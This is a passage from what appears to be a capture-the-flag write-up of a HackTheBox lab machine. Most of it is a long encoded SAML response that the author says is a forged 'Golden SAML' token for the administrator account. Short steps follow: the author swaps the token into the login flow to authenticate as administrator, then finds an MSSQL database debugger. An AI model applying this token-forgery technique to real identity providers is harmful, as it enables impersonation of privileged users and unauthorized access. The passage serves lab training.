1jMTRuIyIvPjwvZHM6VHJhbnNmb3Jtcz48ZHM6RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2Ii8%2BPGRzOkRpZ2VzdFZhbHVlPndZYmtDb1E1QzRSLzRqdGZJU3FJSzBtRXQ0elNRdEs0NEtuMTk0V0FsTFk9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPlBWdUVIYm4xaUJ6bGM0blpBVE95YnozWW82di81N1dKcWQyakZBc1pwNWwweWljZGYySTVVckxPanNaUmFyNVpYeHR4SGVLZjBldTFnSjYxaVVVVUhsTUtWbkFTcUhVbnhmckpaNm83YjFuNjV2TkxxMEQrOEsyQndTRWxmVjRQOWNLMGt5UklReVYxUlRKR2Z0bjZlODQzcDFtMUZ0ZFNZdWZjNkJhZU1ObVJnZkpWd3F6T2tMM1hVRndlVjNBaC9qLzhqU3Q4M0xRYm16YzF6N0ViRm9UVTJWZUg4bXRmNkp5WVJLMUFxeGFsWnZBQ1VMb3dIbTJ3Y3RwRE52Y05oQlpXbjYvSXZ1bDNNM2M3d3JYbkhTQlhkN3ZJZHdGdzJUNmZYbzhyNW1rby9sSjhFL0ZUbDlMbUcxbVFmVkJVOXZIWFpjRm9jb0hjdlB4SEhIZS8rUDZsVGJUTjM5UGxHdElBZkFzMHZuWjhUbHEvUUQzbVdJcjJFeWhkSHRpVkNlaFlzVnJpSWN6NVhuYkV4T21mM1AyUTEyK1MxUkdtaVAwUEl3NG1IdTB2bHAzeDc3dHY3UEdPaGxYU0I4czRsTHAvUTBWN0VaZ2JMVURoM2JMM0dGSFFCQ3VYOUNQdUxObmFnODhEWnlCQlVBWkJJZ2RLcnh5Z3cyeEo4RHU0Sm0wbnh3RlhBbjdoSDJmUlpFVXFoTEl0UnRyenZNQzlhMU5Fb0pQRVpzcXRtU2ZsL0hweVFJN0QyQzBCbXgxRFhHd2h1TndaMHJKK3k5citjbkZVMW9EY0xRMEx4VzVhNDB3bW9UdE9DOGNwSC9tK0NmWGhUS1I0anA4TnpUQWZsTW1JU21lbGNBeU5mcjM0RDhlR0lKa0dLQWd4WWhCcnV4RU5GWUQ1VlAwPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPGRzOktleUluZm8%2BPGRzOlg1MDlEYXRhPjxkczpYNTA5Q2VydGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0Ij5hZG1pbmlzdHJhdG9yQGdob3N0Lmh0YjwvTmFtZUlEPjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIE5vdE9uT3JBZnRlcj0iMjAyNC0wNy0xOFQxNTowNToxMy4wMDBaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIi8%2BPC9TdWJqZWN0Q29uZmlybWF0aW9uPjwvU3ViamVjdD48Q29uZGl0aW9ucyBOb3RCZWZvcmU9IjIwMjQtMDctMThUMTU6MDA6MTMuMDAwWiIgTm90T25PckFmdGVyPSIyMDI0LTA3LTE4VDE2OjAwOjEzLjAwMFoiPjxBdWRpZW5jZVJlc3RyaWN0aW9uPjxBdWRpZW5jZT5odHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDM8L0F1ZGllbmNlPjwvQXVkaWVuY2VSZXN0cmljdGlvbj48L0NvbmRpdGlvbnM%2BPEF0dHJpYnV0ZVN0YXRlbWVudD48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3VwbiI%2BPEF0dHJpYnV0ZVZhbHVlPmFkbWluaXN0cmF0b3JAZ2hvc3QuaHRiPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BYWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNC0wNy0xOFQxNTowMDoxMi41MDBaIiBTZXNzaW9uSW5kZXg9Il9QRlk1TEsiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
Now, I have forged a Golden SAML response
Exploitation
All I need to do is to reproduce the authentication until the last step
I just need to replace the value of the
SAMLResponse
attribute
Replaced and sending
Successfully authenticated. Presumably as the
administrator
user
The custom web app turns out to be a database debugger for the linked MSSQL instances